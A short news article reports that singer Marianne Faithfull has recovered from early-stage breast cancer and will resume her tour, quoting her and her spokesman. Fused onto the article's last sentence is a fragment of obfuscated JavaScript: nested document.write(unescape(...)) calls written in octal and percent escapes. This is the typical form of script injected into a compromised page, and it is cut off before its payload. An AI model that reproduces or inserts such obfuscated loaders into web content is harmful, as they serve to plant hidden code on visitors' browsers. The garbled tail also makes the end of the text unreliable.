Marianne Faithfull makes full recovery

Singer and actress Marianne Faithfull has made a full recovery from breast cancer, her publicist has said.

Doctors in France diagnosed the disease in September forcing the star to postpone her world tour.

The cancer was found in its "earliest stages", and following surgery last month, the 59-year-old has decided to resume her tour in spring next year.

The star said: "It has been an extraordinary experience and, in many ways, extremely positive. I didn't realise how many true friends I had.

"I feel so lucky and loved and thank everybody for all their good thoughts."

The breast cancer came two years after Faithfull, a former smoker, was forced to cancel her European tour after collapsing backstage at a gig. The singer was diagnosed with exhaustion and ordered to rest for three months.

Last year film-maker Duncan Roy announced that Faithfull had stepped down from his screen version of The Picture Of Dorian Gray because she had suffered a heart attack, which she denied.

Faithfull's recovery follows that of singer Kylie Minogue who was diagnosed with early-stage breast cancer in May last year as she was about to embark on her biggest tour.

Faithfull's tour of Europe and the US has now been rescheduled to kick-off in Budapest in March next year.

Her spokesman Rob Partridge said: "Marianne Faithfull has made such a successful recovery from breast cancer that doctors have given the go-ahead for her to resume touring commitments in spring next year."document.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;